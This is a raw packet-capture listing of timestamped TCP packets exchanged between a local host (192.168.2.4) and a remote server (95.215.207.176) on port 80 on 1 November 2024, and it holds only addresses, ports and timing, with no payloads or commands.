Nov 1, 2024 13:42:23.519396067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519422054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519471884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519494057 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519505978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519543886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519561052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519572020 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519583941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519603014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519608974 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519615889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519623041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519635916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519649982 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519659042 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519660950 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519679070 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519679070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519695997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519701004 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519706011 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.519723892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.519754887 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.520030022 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.520051003 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.520062923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.520071983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.520104885 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.522336006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522356033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522367954 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522384882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.522418022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.522505999 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522542953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522556067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522561073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.522587061 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.522593021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.522660017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522672892 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522684097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522690058 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522695065 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522783041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.522787094 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522800922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522813082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522913933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522914886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.522926092 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522939920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.522958040 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.523010969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.525641918 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.525702000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.525713921 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.525727987 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.525774002 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.525872946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.525885105 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.525896072 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.525909901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.525934935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.525974035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.526014090 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526031017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526042938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526052952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526065111 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526077032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526082039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.526088953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526102066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526115894 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526128054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526134968 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.526171923 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.526457071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526468039 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.526511908 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.631817102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631834984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631846905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631858110 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631877899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631889105 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631901979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631915092 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631927967 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631936073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.631941080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631954908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631977081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631995916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.631998062 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.632008076 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632014036 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.632020950 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632033110 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632038116 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.632046938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632061958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632071018 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.632076979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632091045 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632102013 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.632118940 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.632144928 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.632316113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632327080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632338047 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.632363081 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.632384062 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.636934996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.636956930 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.636971951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.636995077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637007952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637088060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637099981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637111902 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637125015 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637135983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637136936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637149096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637159109 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637171030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637181997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637191057 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637201071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637212992 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637212992 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637229919 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637242079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637248039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637254953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637265921 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637285948 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637293100 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637296915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637310982 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637322903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637324095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637336016 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637346983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637382030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637383938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637394905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637406111 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637418032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637428999 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637430906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637445927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637451887 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637458086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637464046 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637470961 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637492895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637518883 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637538910 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637551069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637561083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637588024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637588024 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637597084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637607098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637619019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637628078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637635946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637639999 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637653112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637655973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637665033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637679100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637680054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637696028 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637717009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637751102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637763023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637773037 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637785912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637798071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637799025 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637810946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637818098 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637825012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637836933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637844086 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637849092 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.637865067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.637891054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.642446041 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642458916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642508030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642515898 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.642519951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642534971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642540932 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.642549038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642571926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.642580986 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.642595053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642607927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642618895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.642640114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.642652035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.673868895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.679022074 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921255112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921273947 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921287060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921302080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921314001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921382904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921396017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921458006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921472073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921474934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921474934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921474934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921485901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921499014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921502113 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921502113 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921534061 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921535015 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921578884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921626091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921638012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921649933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921663046 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921681881 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921690941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921701908 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921732903 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921756029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921788931 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921794891 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921802044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921828032 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921849012 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921932936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921943903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921953917 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921967030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921977997 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921984911 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.921992064 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.921998024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922005892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922010899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922024965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922029018 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922038078 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922058105 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922102928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922115088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922126055 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922137976 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922149897 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922149897 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922162056 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922173977 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922199965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922389984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922408104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922418118 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922430992 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922434092 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922445059 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922456026 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922457933 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922494888 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922519922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922532082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922549963 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922561884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922564030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922576904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922589064 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922590971 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922601938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922615051 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922621965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922627926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922657967 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922660112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922672033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922683001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922693014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922697067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922718048 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922745943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922899008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922916889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922926903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922938108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922946930 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922950983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922962904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922975063 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.922977924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.922986984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923000097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923002958 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923027992 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923042059 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923063993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923075914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923085928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923099995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923110008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923113108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923125029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923137903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923139095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923151970 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923156977 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923167944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923177004 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923190117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923199892 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923202038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923213959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923223019 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923227072 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923239946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923239946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923250914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923263073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:23.923266888 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923290968 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:23.923305035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:24.582918882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:24.582952023 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:24.587913990 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:24.587929010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:24.849850893 CET	80	49754	95.215.207.176	192.168.2.4
